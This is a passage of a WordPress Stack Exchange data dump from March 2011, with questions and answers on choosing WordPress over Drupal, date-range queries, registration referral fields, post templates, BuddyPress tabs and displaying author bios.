  <row Id="11182" PostTypeId="1" CreationDate="2011-03-04T19:32:01.977" Score="2" ViewCount="210" Body="&lt;p&gt;I'm a non-programmer and run a food website (plain - jane Dreamweaver) along with a simple Wordpress powered blog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I envisioned &lt;strong&gt;creating a food website that is both user powered (one can submit recipes, tips articles, photos etc) and also act as a mini social network (people can blog) - create profiles, make friends etc.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I stumbled on Drupal nearly 2 years ago and was impressed by its flexibility in creating content - through modules such as CCK (custom content types), Views - to display content from various queries and Panels (displaying content without manual theming). It also offered a host of modules that could do things like - classifieds, greetings, newsletters, events etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I got so mired by what Drupal could do, I ignored site development and it's been sitting in the backburner all this while. Recently I met a designer / developer (More Wordpress &amp;amp; Less Drupal) who agreed to customize a theme that I finally chose for the website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm scared that despite Drupal's scaling abilities as a business owner I will be left with fire-fighting stuff if anything goes wrong with if i get the site developed on Drupal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have explored and searched previously whether Wordpress can be used more as a CMS platform but came away disappointed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Wordpress 3.1, Multisite and BuddyPress, I'm excited whether I can ditch Drupal and choose Wordpress instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus I'm more inclined to use Wordpress after I read this post about Why Drupal isn't a good choice for a CMS - &lt;a href=&quot;http://mikeschinkel.com/blog/17-reasons-wordpress-is-a-better-cms-than-drupal/&quot; rel=&quot;nofollow&quot;&gt;http://mikeschinkel.com/blog/17-reasons-wordpress-is-a-better-cms-than-drupal/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's what I'm looking for:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.Food / Recipes Websites that will have 4-6 types of content - recipes, food guides, photos, menus, videos etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.The site should be high on usability - tech 'unsavvy' should be able to submit content recipes, photos, videos etc) to the site - this is an important need. Can I make this really simple?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Social networking capabilities - profiles, adding friends, member search, rewarding members. I want to build a strong community that goes beyond just creating profiles. I want them to be able to contribute to the site's growth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A decent / elegant theme (Wordpress had zillions of themes, I know)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Displaying content - Can I  display say, in a page, a thumbnail and excerpt, of content that is being posted to the site? and perhaps in another page - only a set of links of content that is being posted. - Do plugins exist for these? Drupal hs Views, CCK and Panels that achieve these quite easily. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Like I mentioned before, as a non-tech business owner, can I scale the website without worrying too much into maintaining the technical aspects of the site?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Please help me. &lt;/p&gt;&#xA;" LastActivityDate="2011-07-03T02:20:35.030" Title="Community and User Generated Content Website: Have been thinking about Drupal but leaning on Wordpress heavily" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;custom-field&gt;&lt;users&gt;&lt;views&gt;" AnswerCount="3" />
  <row Id="11183" PostTypeId="2" ParentId="11173" CreationDate="2011-03-04T19:38:55.447" Score="6" ViewCount="" Body="&lt;p&gt;It largely depends on how your date is stored in the meta value in the first place. In general, it is a good idea to store dates in MySQL as MySQL dates/timestamps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MySQL timestamps have the format &lt;code&gt;Y-m-d h:i:s&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is always a good idea to use WP's own date mangling functions. As such, to get the current date in MySQL format, use &lt;code&gt;current_time('mysql')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To format a MySQL date for display, use &lt;code&gt;mysql2date($format, $mysql_date)&lt;/code&gt;.&#xA;In this case it is best to display the date as configured in the settings, so use &lt;code&gt;$format = get_option('date_format');&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To store a user-selected date, you'll have to transcode it into a MySQL date. To do so, the easiest - but not safest - way is &lt;code&gt;date('Y-m-d h:i:s', $unix_timestamp);&lt;/code&gt;. &lt;code&gt;$unix_timestamp&lt;/code&gt; can often be derived via &lt;code&gt;strtotime($user_input)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;strtotime()&lt;/code&gt; doesn't do sanity checks on it's own, so it's best to write your own converstion function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for getting the month range, here's a function i'm using to get the month boundaries for any MySQL timestamp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_monthrange($time) {&#xA;    $ym = date(&quot;Y-m&quot;, strtotime($time));&#xA;    $start = $ym.&quot;-01&quot;;&#xA;    $ym = explode(&quot;-&quot;, $ym);&#xA;    if ($ym[1] == 12) {&#xA;        $ym[0]++; $ym[1] = 1;&#xA;    } else {&#xA;        $ym[1]++;&#xA;    }&#xA;    $d = mktime( 0, 0, 0, $ym[1], 1, $ym[0] );&#xA;    $d -= 86400;&#xA;    $end = date(&quot;Y-m-d&quot;, $d);&#xA;    return array( $start, $end );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to get the week boundaries, WP already comes with a function for that: &lt;code&gt;get_weekstartend($time);&lt;/code&gt;, which also delivers the boundaries as an array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then use these in your &lt;code&gt;meta_query&lt;/code&gt; argument by doing two separate comparisons.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-04T19:38:55.447" />
  <row Id="11184" PostTypeId="1" AcceptedAnswerId="11186" CreationDate="2011-03-04T20:07:29.360" Score="1" ViewCount="159" Body="&lt;p&gt;I put up a quick splash page with &lt;code&gt;index.php&lt;/code&gt; and added a link in that splash page to index2.php and when I go to &lt;code&gt;index2.php&lt;/code&gt;, I get a &lt;em&gt;&quot;page not found&quot;&lt;/em&gt; error. Getting rid of the splash is not an option right now. Is there anything I can do to get this to work?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-03-05T18:17:05.177" LastActivityDate="2011-03-05T18:17:05.177" Title="index2.php in root causing 404 error" Tags="&lt;404-error&gt;" AnswerCount="2" />
  <row Id="11185" PostTypeId="2" ParentId="9764" CreationDate="2011-03-04T20:11:08.823" Score="0" ViewCount="" Body="&lt;p&gt;I hired an offshore developer to apply what I wanted, the previous week's posts on a home page to a Thematic themed site. In retrospect, I should have asked him to apply two weeks (current week + this week):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download the theme here if you want to check it out...&#xA;&lt;a href=&quot;http://dl.dropbox.com/u/4016505/thematic-wpweekly.net.zip&quot; rel=&quot;nofollow&quot;&gt;http://dl.dropbox.com/u/4016505/thematic-wpweekly.net.zip&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here's what he did (in his words) - hopes it makes some sense...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Copy given  code into “function.php” file in current theme folder. This will put&lt;br&gt;&#xA;  condition to your original query for weekly post.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_where( $where = '' ) {&#xA;        $end_Date = date('Y-m-d',mktime(0,0,0,date('m'),date('d')-date('w')-1 ,date('Y'))) ;&#xA;        $start_Date = date('Y-m-d',mktime(0,0,0,date('m'),date('d')-date('w')-7 ,date('Y'))) ;&#xA;&#xA;$where .= &quot; AND post_date &amp;gt;= '&quot;.$start_Date.&quot;' AND post_date &amp;lt;= '&quot;.$end_Date.&quot;' &quot;;&#xA;return $where;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now it will display last week post post but you can modify $end_Date and $start_Date &#xA;  variable and set this to current date or any given range of time period.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_GET) and count($_GET)&amp;lt;=0){&#xA;    add_filter( 'posts_where', 'filter_where' );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Both code should be write with the other add_filter function and above the given code:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $locale = get_locale();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you want to apply all post on the given time period then user given code just &#xA;  before the  loop &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;“have_posts() ) : the_post(); “ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;in extension file in library folder in the current theme folder.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;query_posts( $query_string . &quot;&amp;amp;posts_per_page=-1&amp;amp;order=desc&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-04T20:11:08.823" />
  <row Id="11186" PostTypeId="2" ParentId="11184" CreationDate="2011-03-04T20:11:56.383" Score="1" ViewCount="" Body="&lt;p&gt;Try to just use a index.html file and use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;5; URL=http://example.com/wp-content/themes/your_theme/index.php&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's see if the easy stuff works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;edit:&lt;/em&gt; to be on the save side, always display a link to the index.php file with some descriptive text like &quot;if your browser doesn't redirect you automatically, please click &lt;em&gt;here&lt;/em&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-04T20:21:47.967" LastActivityDate="2011-03-04T20:21:47.967" CommentCount="5" />
  <row Id="11187" PostTypeId="2" ParentId="11182" CreationDate="2011-03-04T20:18:41.400" Score="1" ViewCount="" Body="&lt;p&gt;First: (Really!) get someone who understands a lot about code &amp;amp; wordpress. As you've already read Mike Schinkels site: He's a good one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;can I scale the website without worrying too much into maintaining the technical aspects of the site?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you, as i stated above, got some who makes you a solid foundation, then it should not be a problem.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Displaying content - Can I display say, in a page, a thumbnail and excerpt, of content that is being posted to the site? and perhaps in another page - only a set of links of content that is being posted. - Do plugins exist for these? Drupal hs Views, CCK and Panels that achieve these quite easily. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Wordpress uses &quot;Templates&quot; for pages. You can make a eg. site where you list all galleries or receipes, etc. With Multisite you can give every of your users the possibility to run their own blogs/receipe article lists on their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without going more into detail: If you're not tech savy, then you'd need a long time to get around this, so my best advice is getting someone who understands how all the custom stuff for cms purpose like post types, taxonomies, meta boxes, etc. work.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-04T20:18:41.400" />
  <row Id="11188" PostTypeId="2" ParentId="11109" CreationDate="2011-03-04T20:27:05.320" Score="0" ViewCount="" Body="&lt;p&gt;You could show your designers the neat drag and drop and/or GUI based WordPress theme frameworks like Headway, Page Lines Platform, or WP Mosaic which make converting designs easier into WordPress themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of if you're happy with their designs, continue having them do the designs and comps in Photoshop but hire WordPress theme conversions specialists to convert the designs. I know a few good ones on oDesk which will do it cheaply and with decent (B-grade) quality.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-03-04T20:27:05.320" CommentCount="1" />
  <row Id="11189" PostTypeId="1" CreationDate="2011-03-04T20:29:56.703" Score="0" ViewCount="323" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/more-types/&quot; rel=&quot;nofollow&quot;&gt;more types&lt;/a&gt;, &lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;more fields&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/more-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;more taxonomies&lt;/a&gt; plugins and they're beyond excellent. However, I've found that once I remove the main wysiwyg block I no longer have access to the media upload buttons. &lt;img src=&quot;http://i.stack.imgur.com/OQJ5A.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched extensively for an option that would give me a new upload field or different buttons but have been unsuccessful. I read this brilliant answer by &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4307/how-can-i-add-an-image-upload-field-directly-to-a-custom-write-panel&quot;&gt;MathSmath&lt;/a&gt;&#xA;But I'm unsure how I would implement it with more-fields. I also found an &lt;a href=&quot;http://wordpress.org/support/topic/plugin-more-fields-feature-request-file-upload?replies=11&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; indicating that the developer wouldn't provide this option so I'm stuck figuring it out myself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've gone so deep down the rabbit hole with these plugins that there's no turning back. Any help would be immensely appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-03-12T16:44:51.647" Title="More Fields &amp; Media Upload" Tags="&lt;uploads&gt;&lt;media-library&gt;&lt;plugin-more-fields&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="11190" PostTypeId="2" ParentId="10833" CreationDate="2011-03-04T20:52:42.360" Score="2" ViewCount="" Body="&lt;p&gt;Initially this sounds like a hosting problem and not a WordPress issue. Where are you hosted? Shared? Dedicated? php version? mysql version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run through a typical wp hack protocol and check for base64 code in wp-config.php, any theme files and akismet plugin files... also any other php files. Database hacks are sometimes hard to find too but mostly located in the wp_options table..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read into the hack fixing at Dre's site: &lt;a href=&quot;http://blog.sucuri.net/2010/07/understanding-and-cleaning-the-pharma-hack-on-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://blog.sucuri.net/2010/07/understanding-and-cleaning-the-pharma-hack-on-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TODOS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn off ALL plugins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check in settings &gt; writing in the &quot;update services&quot; section... for now just make sure only rpc.pingomatic one is in there remove the rest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check in settings &gt; Discussion and for now uncheck &quot;Attempt to notify any blogs linked to from the article&quot;... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to post...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--- hopefully one of those fixed it.  I'd also try the above but try a fresh install of the twenty-ten theme and change your site to that theme after fresh install and try posting again.. could be something in your theme... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;LMK&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2011-03-04T20:52:42.360" CommentCount="2" />
  <row Id="11191" PostTypeId="1" AcceptedAnswerId="11194" CreationDate="2011-03-04T21:06:36.597" Score="1" ViewCount="87" Body="&lt;p&gt;I would like to apply layout templates to my posts, just like I can do with pages. For example, I have a template-wide.php that does not include sidebars and adds a special &quot;wide&quot; class to the content div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present, I can only use this template for pages. Is it possible to make it available to posts as well?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-04T21:17:38.467" Title="Possible to add &quot;Template&quot; selector to posts?" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="11192" PostTypeId="2" ParentId="10833" CreationDate="2011-03-04T21:12:20.657" Score="1" ViewCount="" Body="&lt;p&gt;In addition to plugins, don't forget that themes can change how WordPress behaves. Try switching to the TwentyTen theme temporarily. Does the problem go away? If so, then your theme's &lt;code&gt;functions.php&lt;/code&gt; file would be a place to start looking, see if it's doing something odd with post creation hooks.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-04T21:12:20.657" />
  <row Id="11193" PostTypeId="1" AcceptedAnswerId="11197" CreationDate="2011-03-04T21:16:56.800" Score="0" ViewCount="111" Body="&lt;p&gt;i am trying to make a little referral sort of system for my site. so for that i settuped an extra parameter in the registeration url as :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.domain.com/wp-login.php?action=register&lt;code&gt;&amp;amp;register_me=site_name&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and one is adding ip address while registeration, at first i thought it would be a simple form in wp-login.php but i just found out its all based on filters etc.. very complicated stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did setuped two extra fields in the wp_user table. called &lt;code&gt;'reg_ip' and 'referral'&lt;/code&gt; .. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i need to understand how to add these two things in wp-login.php so they will be inserted in teh database while registeration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is really really appreciated :) &#xA;cheers&#xA;Ayaz&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-03-05T18:13:48.880" Title="Adding extra info via GET while registeration in wordpress" Tags="&lt;customization&gt;&lt;registration&gt;" AnswerCount="1" />
  <row Id="11194" PostTypeId="2" ParentId="11191" CreationDate="2011-03-04T21:17:09.327" Score="2" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Template Plugin&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-03-04T21:17:09.327" CommentCount="2" />
  <row Id="11195" PostTypeId="2" ParentId="11191" CreationDate="2011-03-04T21:17:38.467" Score="2" ViewCount="" Body="&lt;p&gt;WordPress 3.1 includes a new feature called Post Formats. It's a little like how Tumblr lets you have different formats for different kinds of content, and I think it could be adapted to what you are trying to do. I haven't actually used it yet, but &lt;a href=&quot;http://lisasabin-wilson.com/wordpress-3-1-post-formats-reference&quot; rel=&quot;nofollow&quot;&gt;here's an introduction&lt;/a&gt; I found that might be helpful. &lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-04T21:17:38.467" CommentCount="1" />
  <row Id="11196" PostTypeId="2" ParentId="11182" CreationDate="2011-03-04T21:33:31.643" Score="0" ViewCount="" Body="&lt;p&gt;Drupal is great for scaling user driven community sites, they have a lot more development work in this areas since it has always been a central part of it's core functionality ( for instance Drupal Commons). It is an area WordPress still needs some work with ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't agree with all of Mike's post,  it seems like both these CMS's do a great job and have a converging feature set. It would be better to compare them both vs other CMS's, especially non php ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making WordPress Network/Buddypress friendly is a very viable option, but it can be equally as daunting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're just doing this for fun and have no business plan, then by all means use WordPress, once you get used to it, it's quite easy to work with. With the features you listed it will suit the bill fine.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-04T21:33:31.643" />
  <row Id="11197" PostTypeId="2" ParentId="11193" CreationDate="2011-03-04T21:46:00.827" Score="2" ViewCount="" Body="&lt;p&gt;I've recently written an affiliate plugin where i had to do pretty much the same stuff. Here's a chopup of the relevant parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To process the extra info you get from the registration form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('user_register', 'my_handle_signup', 10, 2);&#xA;&#xA;function my_handle_signup($user_id, $data = null) {&#xA;    $reg_ip = $_REQUEST['reg_ip'];&#xA;    $referrer = $_REQUEST['referrer'];&#xA;    if (isset($reg_ip) &amp;amp;&amp;amp; isset($referrer)) {&#xA;        add_user_meta($user_id, 'my_referrer', $referrer);&#xA;        add_user_meta($user_id, 'my_reg_ip', $reg_ip);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to add fields to the signup form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('register_form', 'my_add_signup_fields');&#xA;&#xA;function my_add_signup_fields() {&#xA;    if (!empty($_GET['register_me'])) {&#xA;        ?&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;reg_ip&quot; value=&quot;&amp;lt;?php echo esc_attr($_SERVER['REMOTE_ADDR']); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;referrer&quot; value=&quot;&amp;lt;?php echo esc_attr($_GET['register_me']); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For my solution, i'm actually setting a cookie and then retrieving that on the registration form.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-05T18:13:48.880" LastActivityDate="2011-03-05T18:13:48.880" CommentCount="21" />
  <row Id="11198" PostTypeId="1" CreationDate="2011-03-04T21:48:00.987" Score="0" ViewCount="98" Body="&lt;p&gt;I am upgrading a friends wordpress site from 2.9.2 - 3.1 He uses the HTML Javascript Adder plugin to create a widget in a sidebar that disappears - but only on some pages. Any idea what could cause this - or better yet how to fix it??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This didn't happen at all in 2.9.2. In the course of the upgrade, the plugin was also upgraded...&lt;/p&gt;&#xA;" OwnerUserId="3717" LastActivityDate="2011-03-04T21:48:00.987" Title="Wordpress widget missing from sidebar - only on some pages" Tags="&lt;widgets&gt;&lt;3.1&gt;" />
  <row Id="11199" PostTypeId="1" CreationDate="2011-03-04T22:13:49.227" Score="0" ViewCount="306" Body="&lt;p&gt;Is it possible to display a wordpress category page but have it pull posts from mulitple categories?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say I need to pass in params for &lt;code&gt;cat_id&lt;/code&gt; in this fashion &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/category/dining/?location=2&amp;amp;activity=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And have the resulting page produce a list of posts from the categories specified by &lt;code&gt;location&lt;/code&gt; and &lt;code&gt;activity&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-25T08:49:17.533" LastActivityDate="2011-08-23T02:33:35.130" Title="Multiple Category Query" Tags="&lt;query&gt;&lt;query-string&gt;&lt;multiple&gt;&lt;categories&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11200" PostTypeId="1" CreationDate="2011-03-04T22:17:17.363" Score="0" ViewCount="140" Body="&lt;p&gt;Right now the navigation of my BuddyPress site goes: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home | Members | Groups | News | About&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &quot;Home&quot; has the activity stream, &quot;News&quot; has blog posts, and &quot;About&quot; is a regular static page. I would like to change the navigation so that the Home page contains what is currently on the &quot;Groups&quot; page and have a new, separate tab called &quot;Activity&quot; for the activity stream, which would replace the current Groups tab. I.e.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home (Groups) | Members | Activity | News | About&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or possibly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home (Groups) | News | Members | Activity | About&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried trying to pinpoint how to change this by looking at the page source and with Firebug, but couldn't figure it out. I also tried modifying&#xA;&lt;a href=&quot;http://erikshosting.com/wordpress-tips-code/reorder-buddypress-tabs/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;, but didn't have any luck.&lt;/p&gt;&#xA;" OwnerUserId="3709" LastActivityDate="2011-03-04T22:17:17.363" Title="Make group tab the hompage in BuddyPress" Tags="&lt;buddypress&gt;&lt;navigation&gt;" FavoriteCount="1" />
  <row Id="11201" PostTypeId="1" AcceptedAnswerId="11202" CreationDate="2011-03-04T23:06:56.790" Score="0" ViewCount="78" Body="&lt;p&gt;I'd like to display content from a custom meta box that appears for a particular custom post type in the sidebar, when a single post of that type is being displayed. I know how to normally display that content in the post content area, but I'm assuming that using that same code in a widget won't work, since the sidebar is outside of the loop (right?). Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-03-04T23:15:21.793" Title="Is there a way to display content from a post meta box in the sidebar?" Tags="&lt;sidebar&gt;&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="11202" PostTypeId="2" ParentId="11201" CreationDate="2011-03-04T23:15:21.793" Score="1" ViewCount="" Body="&lt;p&gt;Well, you could access the &lt;code&gt;$post&lt;/code&gt; variable with &lt;code&gt;global $post&lt;/code&gt; and then access it's meta values with &lt;code&gt;get_post_meta($post-&amp;gt;ID)&lt;/code&gt; or something close to that. If you just want that to be accessed when you are viewing a single post, you can use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(is_singular('my_custom_post_type'))&#xA;//do your stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1695" LastActivityDate="2011-03-04T23:15:21.793" />
  <row Id="11203" PostTypeId="1" AcceptedAnswerId="11208" CreationDate="2011-03-04T23:45:30.120" Score="0" ViewCount="139" Body="&lt;p&gt;Is it possible to only display the author's name and description (aka bio) &lt;em&gt;if&lt;/em&gt; the description contains text? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code doesn't work (it doesn't return the name or description) but hopefully it can be edited to accomplish this goal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$authorDesc = the_author_meta($post-&amp;gt;ID, 'description', true);&#xA;if (!empty($authorDesc)) {&#xA;?&amp;gt;&#xA;&amp;lt;em&amp;gt;by &amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/em&amp;gt;&#xA;&amp;lt;span&amp;gt;&amp;lt;?php the_author_meta('description'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3711" LastActivityDate="2011-03-05T00:28:11.273" Title="Output author and description if description is not empty" Tags="&lt;author&gt;" AnswerCount="2" />
  <row Id="11204" PostTypeId="2" ParentId="10979" CreationDate="2011-03-04T23:45:42.040" Score="0" ViewCount="" Body="&lt;p&gt;You mentioned that you wanted to draw a family tree in wordpress..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have developed a plugin for that and you can download it from the Wordpress.org website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a homepage for the &lt;a href=&quot;http://www.esscotti.com/wp-family-tree-plugin&quot; rel=&quot;nofollow&quot;&gt;family tree plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTH&lt;/p&gt;&#xA;" LastActivityDate="2011-03-04T23:45:42.040" />
  <row Id="11205" PostTypeId="2" ParentId="11203" CreationDate="2011-03-05T00:07:05.227" Score="1" ViewCount="" Body="&lt;p&gt;First, you need to use &lt;code&gt;get_the_author_meta&lt;/code&gt; instead of &lt;code&gt;the_autho_meta&lt;/code&gt; to give a vakue to &lt;code&gt;$authorDesc&lt;/code&gt; (&lt;code&gt;get_the_author_meta&lt;/code&gt; returns the value, &lt;code&gt;the_author_meta&lt;/code&gt; displays it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, you need to use &lt;code&gt;user_description&lt;/code&gt; as the argument for both functions instead of &lt;code&gt;description&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_author_meta&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the documentation to &lt;code&gt;the_author_meta&lt;/code&gt; for more info.&#xA;EDIT 2 - You also don't need to declare $post-&gt;ID as the first parameter for 